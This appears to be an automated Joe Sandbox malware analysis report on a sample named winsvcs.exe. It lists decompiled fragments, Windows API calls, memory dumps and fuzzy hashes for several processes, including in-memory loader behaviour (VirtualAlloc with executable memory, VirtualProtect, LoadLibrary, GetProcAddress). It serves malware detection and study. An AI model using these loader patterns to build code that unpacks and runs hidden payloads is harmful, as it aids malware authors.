						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00398782(__edx, __esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E003986C1(__edx, __esi, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00397fb9
0x00397fbf
0x00398032
0x00000000
0x00397fc6
0x00397fc6
0x00397fc9
0x00397fe4
0x00397fe7
0x00398007
0x00398019
0x00397fe9
0x00397fe9
0x00397fec
0x00000000
0x00397fee
0x00398000
0x00398000
0x00397fec
0x00398037
0x0039803b
0x00397fcb
0x00397fe3
0x00397fe3
0x00397fc9

APIs

__cftof_l.LIBCMT ref: 00397FDA

Part of subcall function 003986C1: __fltout2.LIBCMT ref: 003986EA
Part of subcall function 003986C1: __fptostr.LIBCMT ref: 0039874C
Part of subcall function 003986C1: __cftof2_l.LIBCMT ref: 00398769

__cftog_l.LIBCMT ref: 00398000

Part of subcall function 00398782: __fltout2.LIBCMT ref: 003987AB
Part of subcall function 00398782: __fptostr.LIBCMT ref: 0039880C
Part of subcall function 00398782: __cftof2_l.LIBCMT ref: 0039884D
Part of subcall function 00398782: __cftoe2_l.LIBCMT ref: 00398868

__cftoa_l.LIBCMT ref: 00398019

Part of subcall function 0039803C: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0039805C
Part of subcall function 0039803C: _mbstowcs_s.LIBCMT ref: 003980D3
Part of subcall function 0039803C: _strrchr.LIBCMT ref: 0039810E
Part of subcall function 0039803C: _memset.LIBCMT ref: 003982A5
Part of subcall function 0039803C: __alldvrm.LIBCMT ref: 00398320
Part of subcall function 0039803C: __alldvrm.LIBCMT ref: 00398343
Part of subcall function 0039803C: __alldvrm.LIBCMT ref: 00398366

__cftoe_l.LIBCMT ref: 00398032

Part of subcall function 00398507: __fltout2.LIBCMT ref: 00398534
Part of subcall function 00398507: __fptostr.LIBCMT ref: 0039859C
Part of subcall function 00398507: __cftoe2_l.LIBCMT ref: 003985BC

Memory Dump Source

Source File: 00000002.00000001.523172639.00391000.00000020.sdmp, Offset: 00390000, based on PE: true

Associated: 00000002.00000001.523165875.00390000.00000002.sdmp
Associated: 00000002.00000001.523193060.003A1000.00000002.sdmp
Associated: 00000002.00000001.523202631.003A8000.00000008.sdmp
Associated: 00000002.00000001.523212547.003B3000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_390000_winsvcs.jbxd

Similarity

API ID: __alldvrm__fltout2__fptostr$Locale__cftoe2_l__cftof2_l$UpdateUpdate::___cftoa_l__cftoe_l__cftof_l__cftog_l_mbstowcs_s_memset_strrchr
String ID:
API String ID: 621885885-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 8d96fa1daf119b2ca77f66452fd20f6285dc40e0ebe2ba558c6ff598e0c6c6f2
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 2701783200014EBBCF235F84CC018EE3F66BB5A380F598415FA1998230DA37C9B5AB81

Uniqueness

Uniqueness Score: 3.53%

Function 00412B67, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58UNIQUE

APIs

VirtualQuery.KERNEL32(00000000,00000000,00000000,?), ref: 00412BC9
RaiseException.KERNEL32(00000000,00000000,00000000,00000000), ref: 00412BE1

Strings

VirtualAlloc, xrefs: 00412BCF

Memory Dump Source

Source File: 00000002.00000001.323323334.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_40d000_winsvcs.jbxd

Similarity

API ID: ExceptionQueryRaiseVirtual
String ID: VirtualAlloc
API String ID: 1696120375-164498762
Opcode ID: d116109981916531699c92b386ab4520f1965e0cd390000dda45b0b2fe18910c
Instruction ID: 0fc0153c45b57d5202533546e6c51e85dddc66d0ec059ce193bc8f8f33732c09
Opcode Fuzzy Hash: d116109981916531699c92b386ab4520f1965e0cd390000dda45b0b2fe18910c
Instruction Fuzzy Hash: C31102B1F0AA505EE3609F299C407B2FBA8E714371F44143AEC89C3211C6BC58D287AC

Uniqueness

Uniqueness Score: 100.00%

Analysis Process: winsvcs.exe PID: 3276 Parent PID: 1484winsvcs.exeUNIQUE

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	12.1%
Signature Coverage:	21%
Total number of Nodes:	257
Total number of Limit Nodes:	6

Executed Functions

Function 0002083A, Relevance: 3.8, Strings: 3, Instructions: 90
COMMON

Control-flow Graph

Executed
Not Executed

Strings

GetProcAddress., xrefs: 000208EB, 000208EE, 000208F3
., xrefs: 0002086E
l, xrefs: 00020875

Memory Dump Source

Source File: 00000003.00000002.337809720.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20000_winsvcs.jbxd

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: c43662d949464a5f0bc1a6b47ce8f05d187c28c073a20cebd063a85592e3d9a5
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 573149B6900719DFDB10CF99D880AAEBBF9FF08324F24404AD441A7211D771EA45CBA4

Uniqueness

Uniqueness Score: 0.07%

Function 00412C58, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 187librarymemoryloaderUNIQUE

APIs

GetCPInfoExW.KERNELBASE(00000000,00000000,?), ref: 00412CA7
SetConsoleOutputCP.KERNEL32(00000000), ref: 00412D06
GetModuleHandleA.KERNEL32(00419534), ref: 00412D1A
GetProcAddress.KERNEL32(00000000,VirtualAlloc), ref: 00412D4F
VirtualAlloc.KERNELBASE(00000000,00001000,00000040), ref: 00412D68
GetLastError.KERNEL32 ref: 00412D90
FindAtomA.KERNEL32(00000000), ref: 00412D97
GetCPInfoExW.KERNEL32(00000000,00000000,?), ref: 00412E3A
CompareStringW.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412E46
WriteProfileSectionW.KERNEL32(004195B8,00419548), ref: 00412E85
ReportEventW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412E94

Strings

x4$, xrefs: 00412E55
{, xrefs: 00412E2B
VirtualAlloc, xrefs: 00412D20
I]>, xrefs: 00412D6C

Memory Dump Source

Source File: 00000003.00000001.330821558.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_40d000_winsvcs.jbxd

Similarity

API ID: Info$AddressAllocAtomCompareConsoleErrorEventFindHandleLastModuleOutputProcProfileReportSectionStringVirtualWrite
String ID: I]>$VirtualAlloc$x4$${
API String ID: 310522553-3448950543
Opcode ID: 667cb0bd296434aa0315061e7706b63968df125862c6e0eafe9ea82915469c61
Instruction ID: 6ec448516a2d2fec8c00abfb1502e9317c87781a397aa1ef5050f791d042e295
Opcode Fuzzy Hash: 667cb0bd296434aa0315061e7706b63968df125862c6e0eafe9ea82915469c61
Instruction Fuzzy Hash: 1961C7B1908380AEE311DB64EC45BEA7BA9EB44704F00843EF555C71E1D7B94985CB6E

Uniqueness

Uniqueness Score: 100.00%

Function 0002003C, Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 471
memorylibraryUNIQUE

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 000201B5
VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 000201F8
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00020358
LoadLibraryA.KERNEL32(?), ref: 00020408
LoadLibraryA.KERNEL32(msvcr100.dll), ref: 000207A9

Strings

kernel32.dll, xrefs: 00020089, 0002008F
cess, xrefs: 0002016F

Memory Dump Source

Source File: 00000003.00000002.337809720.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20000_winsvcs.jbxd

Similarity

API ID: Virtual$LibraryLoad$AllocFreeProtect
String ID: cess$kernel32.dll
API String ID: 2603362940-1230238691
Opcode ID: fddc5ec034c8a2bf376dfafa75bdf3f115134f85eeaf618fcd07844234ef8588
Instruction ID: 4d866d0358b3029fe5402029315dfa4cac42d9e72acc27ce4e4c1359195aa876
Opcode Fuzzy Hash: fddc5ec034c8a2bf376dfafa75bdf3f115134f85eeaf618fcd07844234ef8588
Instruction Fuzzy Hash: CF427AB4A00228DFDB64CF98D984B9CBBB5BF09304F5480D9E549AB352DB30AE85CF15

Uniqueness

Uniqueness Score: 100.00%

Function 00412ADE, Relevance: 4.5, APIs: 3, Instructions: 45UNIQUE

APIs

GetFirmwareEnvironmentVariableA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00412B38
GetVolumePathNameA.KERNEL32(00419490,?,00000000), ref: 00412B4B
SetFileApisToANSI.KERNEL32 ref: 00412B51

Memory Dump Source

Source File: 00000003.00000001.330821558.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_40d000_winsvcs.jbxd

Similarity

API ID: ApisEnvironmentFileFirmwareNamePathVariableVolume
String ID:
API String ID: 4009104427-0
Opcode ID: 1989c9a6380cefa5984757ed263a48fc1d215644178b4209ab801fa94e346f48
Instruction ID: f449373da075e34465918f8ebd773e7e178d982c5a147d172c8a692d249b7fb9
Opcode Fuzzy Hash: 1989c9a6380cefa5984757ed263a48fc1d215644178b4209ab801fa94e346f48
Instruction Fuzzy Hash: FA0147766097404ED3208B28DC84BF27FBCDB192A570800BAEA8293261C1745C46C67C

Uniqueness

Uniqueness Score: 100.00%

Function 0002082F, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Control-flow Graph

Executed
Not Executed

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00020838

Memory Dump Source

Source File: 00000003.00000002.337809720.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20000_winsvcs.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 7a4c50d2248236a9c3fbfe8a6b1808b26dc02939a8fe6ef3c3739e5e4bff5bfd
Instruction ID: 49d911cedbefafe353e03f649b1fa443a44f879d0861f69b70ce82956fdacc34
Opcode Fuzzy Hash: 7a4c50d2248236a9c3fbfe8a6b1808b26dc02939a8fe6ef3c3739e5e4bff5bfd
Instruction Fuzzy Hash: C19004303455D015D47035DC0C01F0540050F45731F7313043730FD1D4C44155000175

Uniqueness

Uniqueness Score: 0.14%

Non-executed Functions

Function 0002158A, Relevance: 3.9, Strings: 3, Instructions: 172UNIQUE

Strings

!-M, xrefs: 00021732
t, xrefs: 0002163C
), xrefs: 000215C9

Memory Dump Source

Source File: 00000003.00000002.337809720.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20000_winsvcs.jbxd

Similarity

API ID:
String ID: !-M$)$t
API String ID: 0-3395033134
Opcode ID: bf8dd7f580cd3e4d4a1d861249398df504cbef80c7c4770b606eec21c40dc564
Instruction ID: 667e54f300c36ccd4e8484a146da7c101db8160e2100f7db772f052404a87aa9
Opcode Fuzzy Hash: bf8dd7f580cd3e4d4a1d861249398df504cbef80c7c4770b606eec21c40dc564
Instruction Fuzzy Hash: B15179721183A19FCB278B74D85A6E53FA0AF63374B1903C9D4A28F5D3E3259143CB41

Uniqueness

Uniqueness Score: 100.00%

Function 0040D000, Relevance: 1.5, APIs: 1, Instructions: 37COMMON

APIs

GetLocaleInfoA.KERNEL32 ref: 0040D00C

Memory Dump Source

Source File: 00000003.00000002.338653107.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40d000_winsvcs.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: cb1bebb0fbb5acb81b67b89c6ed6eee8ee79be1474fbb757fb0bfad538b83840
Instruction ID: 7563f55c4f9bbdcef76628da80b370f672028dd7e15f4a8e9ea682cd1bea7043
Opcode Fuzzy Hash: cb1bebb0fbb5acb81b67b89c6ed6eee8ee79be1474fbb757fb0bfad538b83840
Instruction Fuzzy Hash: C5F0B4B2900A029AE730DF66DC4297BB7F8EF5435D710803FE456D15E1DB3CE54A9A08

Uniqueness

Uniqueness Score: 0.00%

Function 0040E6CE, Relevance: .4, Instructions: 384COMMON

Memory Dump Source

Source File: 00000003.00000002.338653107.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40d000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 3f1368360bc63a00940a53fe7bf4977eb3bb5925c12a3b4f9f1a0e9772d25fd4
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 9FD16973D1E9B30AC775816E406862BEE626FD165031ECBB29CD03F3C9923E9D149AD4

Uniqueness

Uniqueness Score: 0.00%

Function 0040E2AE, Relevance: .4, Instructions: 378COMMON

Memory Dump Source

Source File: 00000003.00000002.338653107.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40d000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 742966dcffa90f0ccd095b14587d3770e6b458e28732fa30f4ca6a1d24030618
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: D4D16973D1E9B30AC735816E406852BEE626FD165431ECBF28CA03F3C9923E9C159AD4

Uniqueness

Uniqueness Score: 0.00%

Function 0040DEA2, Relevance: .4, Instructions: 361COMMON

Memory Dump Source

Source File: 00000003.00000002.338653107.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40d000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 7fca493d879a62e6918e710b23eb95b4d266cc73d089ae5d791de806530453cb
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 42C17A73D1E9B30AC736816E405862BEE626FD165431ECBB28CD03F3C9963E9C1899D4

Uniqueness

Uniqueness Score: 0.00%

Function 0040DACE, Relevance: .4, Instructions: 351COMMON

Memory Dump Source

Source File: 00000003.00000002.338653107.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_40d000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: ce88f9485176d4875145ff3ea6bfcb71f8838c56104a01cd68228ac215d480a9
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 90C16A73D1E9B30AC73681AD445862BEE626FD165432EC7B28C903F3C9D63E9D0899D4

Uniqueness

Uniqueness Score: 0.00%

Function 00020C9F, Relevance: .0, Instructions: 38COMMON

Memory Dump Source

Source File: 00000003.00000002.337809720.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_20000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction ID: 497219795e5702323352ba5b8e24cf6847f2108543f2b84c769f7eff021c4de5
Opcode Fuzzy Hash: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction Fuzzy Hash: A2F0CDB6A012248FDB21CF64E849BAE73FAFB84305F2441A5D90AD7242E330A9418B90

Uniqueness

Uniqueness Score: 0.00%

Function 004139C0, Relevance: 6.0, APIs: 4, Instructions: 49COMMON

APIs

__cftof_l.LIBCMT ref: 004139E6

Part of subcall function 0041380B: __fltout2.LIBCMT ref: 00413837
Part of subcall function 0041380B: __fptostr.LIBCMT ref: 00413892
Part of subcall function 0041380B: __cftof2_l.LIBCMT ref: 004138AF

__cftog_l.LIBCMT ref: 00413A0C

Part of subcall function 004138C6: __fltout2.LIBCMT ref: 004138F2
Part of subcall function 004138C6: __fptostr.LIBCMT ref: 00413949
Part of subcall function 004138C6: __cftof2_l.LIBCMT ref: 0041398B
Part of subcall function 004138C6: __cftoe2_l.LIBCMT ref: 004139A9

__cftoa_l.LIBCMT ref: 00413A25

Part of subcall function 004133A1: __cftoe.LIBCMT ref: 00413460
Part of subcall function 004133A1: _strrchr.LIBCMT ref: 004134A5
Part of subcall function 004133A1: __alldvrm.LIBCMT ref: 0041369A
Part of subcall function 004133A1: __alldvrm.LIBCMT ref: 004136C0
Part of subcall function 004133A1: __alldvrm.LIBCMT ref: 004136E6

__cftoe_l.LIBCMT ref: 00413A3E

Part of subcall function 004132B1: __fltout2.LIBCMT ref: 004132DD
Part of subcall function 004132B1: __fptostr.LIBCMT ref: 00413349
Part of subcall function 004132B1: __cftoe2_l.LIBCMT ref: 0041336A

Memory Dump Source

Source File: 00000003.00000001.330821558.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_40d000_winsvcs.jbxd

Similarity

API ID: __alldvrm__fltout2__fptostr$__cftoe2_l__cftof2_l$__cftoa_l__cftoe__cftoe_l__cftof_l__cftog_l_strrchr
String ID:
API String ID: 2916730570-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 8546ce1d98dbb9bc63335d1028909b0dafdd7bac1f0b556e445c1aad64e8933c
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: F811923240004EBBCF125F85DC01CEE3F66BF18395B588416FE5859131D73ACAB2AB89

Uniqueness

Uniqueness Score: 3.53%

Function 00412B67, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58UNIQUE

APIs

VirtualQuery.KERNEL32(00000000,00000000,00000000,?), ref: 00412BC9
RaiseException.KERNEL32(00000000,00000000,00000000,00000000), ref: 00412BE1

Strings

VirtualAlloc, xrefs: 00412BCF

Memory Dump Source

Source File: 00000003.00000001.330821558.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_1_40d000_winsvcs.jbxd

Similarity

API ID: ExceptionQueryRaiseVirtual
String ID: VirtualAlloc
API String ID: 1696120375-164498762
Opcode ID: d116109981916531699c92b386ab4520f1965e0cd390000dda45b0b2fe18910c
Instruction ID: 0fc0153c45b57d5202533546e6c51e85dddc66d0ec059ce193bc8f8f33732c09
Opcode Fuzzy Hash: d116109981916531699c92b386ab4520f1965e0cd390000dda45b0b2fe18910c
Instruction Fuzzy Hash: C31102B1F0AA505EE3609F299C407B2FBA8E714371F44143AEC89C3211C6BC58D287AC

Uniqueness

Uniqueness Score: 100.00%

Analysis Process: winsvcs.exe PID: 3288 Parent PID: 1484winsvcs.exeUNIQUE

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	12.1%
Signature Coverage:	21%
Total number of Nodes:	257
Total number of Limit Nodes:	6

Executed Functions

Function 0002083A, Relevance: 3.8, Strings: 3, Instructions: 90
COMMON

Control-flow Graph

Executed
Not Executed

Strings

GetProcAddress., xrefs: 000208EB, 000208EE, 000208F3
., xrefs: 0002086E
l, xrefs: 00020875

Memory Dump Source

Source File: 00000004.00000002.337940198.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20000_winsvcs.jbxd

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: c43662d949464a5f0bc1a6b47ce8f05d187c28c073a20cebd063a85592e3d9a5
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 573149B6900719DFDB10CF99D880AAEBBF9FF08324F24404AD441A7211D771EA45CBA4

Uniqueness

Uniqueness Score: 0.07%

Function 00412C58, Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 187librarymemoryloaderUNIQUE

APIs

GetCPInfoExW.KERNELBASE(00000000,00000000,?), ref: 00412CA7
SetConsoleOutputCP.KERNEL32(00000000), ref: 00412D06
GetModuleHandleA.KERNEL32(00419534), ref: 00412D1A
GetProcAddress.KERNEL32(00000000,VirtualAlloc), ref: 00412D4F
VirtualAlloc.KERNELBASE(00000000,00001000,00000040), ref: 00412D68
GetLastError.KERNEL32 ref: 00412D90
FindAtomA.KERNEL32(00000000), ref: 00412D97
GetCPInfoExW.KERNEL32(00000000,00000000,?), ref: 00412E3A
CompareStringW.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412E46
WriteProfileSectionW.KERNEL32(004195B8,00419548), ref: 00412E85
ReportEventW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412E94

Strings

{, xrefs: 00412E2B
I]>, xrefs: 00412D6C
VirtualAlloc, xrefs: 00412D20
x4$, xrefs: 00412E55

Memory Dump Source

Source File: 00000004.00000001.331542660.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_40d000_winsvcs.jbxd

Similarity

API ID: Info$AddressAllocAtomCompareConsoleErrorEventFindHandleLastModuleOutputProcProfileReportSectionStringVirtualWrite
String ID: I]>$VirtualAlloc$x4$${
API String ID: 310522553-3448950543
Opcode ID: 667cb0bd296434aa0315061e7706b63968df125862c6e0eafe9ea82915469c61
Instruction ID: 6ec448516a2d2fec8c00abfb1502e9317c87781a397aa1ef5050f791d042e295
Opcode Fuzzy Hash: 667cb0bd296434aa0315061e7706b63968df125862c6e0eafe9ea82915469c61
Instruction Fuzzy Hash: 1961C7B1908380AEE311DB64EC45BEA7BA9EB44704F00843EF555C71E1D7B94985CB6E

Uniqueness

Uniqueness Score: 100.00%

Function 0002003C, Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 471
memorylibraryUNIQUE

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 000201B5
VirtualProtect.KERNELBASE(?,?,00000040,?), ref: 000201F8
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00020358
LoadLibraryA.KERNEL32(?), ref: 00020408
LoadLibraryA.KERNEL32(msvcr100.dll), ref: 000207A9

Strings

cess, xrefs: 0002016F
kernel32.dll, xrefs: 00020089, 0002008F

Memory Dump Source

Source File: 00000004.00000002.337940198.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20000_winsvcs.jbxd

Similarity

API ID: Virtual$LibraryLoad$AllocFreeProtect
String ID: cess$kernel32.dll
API String ID: 2603362940-1230238691
Opcode ID: fddc5ec034c8a2bf376dfafa75bdf3f115134f85eeaf618fcd07844234ef8588
Instruction ID: 4d866d0358b3029fe5402029315dfa4cac42d9e72acc27ce4e4c1359195aa876
Opcode Fuzzy Hash: fddc5ec034c8a2bf376dfafa75bdf3f115134f85eeaf618fcd07844234ef8588
Instruction Fuzzy Hash: CF427AB4A00228DFDB64CF98D984B9CBBB5BF09304F5480D9E549AB352DB30AE85CF15

Uniqueness

Uniqueness Score: 100.00%

Function 00412ADE, Relevance: 4.5, APIs: 3, Instructions: 45UNIQUE

APIs

GetFirmwareEnvironmentVariableA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00412B38
GetVolumePathNameA.KERNEL32(00419490,?,00000000), ref: 00412B4B
SetFileApisToANSI.KERNEL32 ref: 00412B51

Memory Dump Source

Source File: 00000004.00000001.331542660.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_40d000_winsvcs.jbxd

Similarity

API ID: ApisEnvironmentFileFirmwareNamePathVariableVolume
String ID:
API String ID: 4009104427-0
Opcode ID: 1989c9a6380cefa5984757ed263a48fc1d215644178b4209ab801fa94e346f48
Instruction ID: f449373da075e34465918f8ebd773e7e178d982c5a147d172c8a692d249b7fb9
Opcode Fuzzy Hash: 1989c9a6380cefa5984757ed263a48fc1d215644178b4209ab801fa94e346f48
Instruction Fuzzy Hash: FA0147766097404ED3208B28DC84BF27FBCDB192A570800BAEA8293261C1745C46C67C

Uniqueness

Uniqueness Score: 100.00%

Function 0002082F, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Control-flow Graph

Executed
Not Executed

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 00020838

Memory Dump Source

Source File: 00000004.00000002.337940198.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20000_winsvcs.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 7a4c50d2248236a9c3fbfe8a6b1808b26dc02939a8fe6ef3c3739e5e4bff5bfd
Instruction ID: 49d911cedbefafe353e03f649b1fa443a44f879d0861f69b70ce82956fdacc34
Opcode Fuzzy Hash: 7a4c50d2248236a9c3fbfe8a6b1808b26dc02939a8fe6ef3c3739e5e4bff5bfd
Instruction Fuzzy Hash: C19004303455D015D47035DC0C01F0540050F45731F7313043730FD1D4C44155000175

Uniqueness

Uniqueness Score: 0.14%

Non-executed Functions

Function 0002158A, Relevance: 3.9, Strings: 3, Instructions: 172UNIQUE

Strings

!-M, xrefs: 00021732
), xrefs: 000215C9
t, xrefs: 0002163C

Memory Dump Source

Source File: 00000004.00000002.337940198.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20000_winsvcs.jbxd

Similarity

API ID:
String ID: !-M$)$t
API String ID: 0-3395033134
Opcode ID: bf8dd7f580cd3e4d4a1d861249398df504cbef80c7c4770b606eec21c40dc564
Instruction ID: 667e54f300c36ccd4e8484a146da7c101db8160e2100f7db772f052404a87aa9
Opcode Fuzzy Hash: bf8dd7f580cd3e4d4a1d861249398df504cbef80c7c4770b606eec21c40dc564
Instruction Fuzzy Hash: B15179721183A19FCB278B74D85A6E53FA0AF63374B1903C9D4A28F5D3E3259143CB41

Uniqueness

Uniqueness Score: 100.00%

Function 0040D000, Relevance: 1.5, APIs: 1, Instructions: 37COMMON

APIs

GetLocaleInfoA.KERNEL32 ref: 0040D00C

Memory Dump Source

Source File: 00000004.00000002.338819645.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_40d000_winsvcs.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: cb1bebb0fbb5acb81b67b89c6ed6eee8ee79be1474fbb757fb0bfad538b83840
Instruction ID: 7563f55c4f9bbdcef76628da80b370f672028dd7e15f4a8e9ea682cd1bea7043
Opcode Fuzzy Hash: cb1bebb0fbb5acb81b67b89c6ed6eee8ee79be1474fbb757fb0bfad538b83840
Instruction Fuzzy Hash: C5F0B4B2900A029AE730DF66DC4297BB7F8EF5435D710803FE456D15E1DB3CE54A9A08

Uniqueness

Uniqueness Score: 0.00%

Function 0040E6CE, Relevance: .4, Instructions: 384COMMON

Memory Dump Source

Source File: 00000004.00000002.338819645.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_40d000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 3f1368360bc63a00940a53fe7bf4977eb3bb5925c12a3b4f9f1a0e9772d25fd4
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 9FD16973D1E9B30AC775816E406862BEE626FD165031ECBB29CD03F3C9923E9D149AD4

Uniqueness

Uniqueness Score: 0.00%

Function 0040E2AE, Relevance: .4, Instructions: 378COMMON

Memory Dump Source

Source File: 00000004.00000002.338819645.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_40d000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 742966dcffa90f0ccd095b14587d3770e6b458e28732fa30f4ca6a1d24030618
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
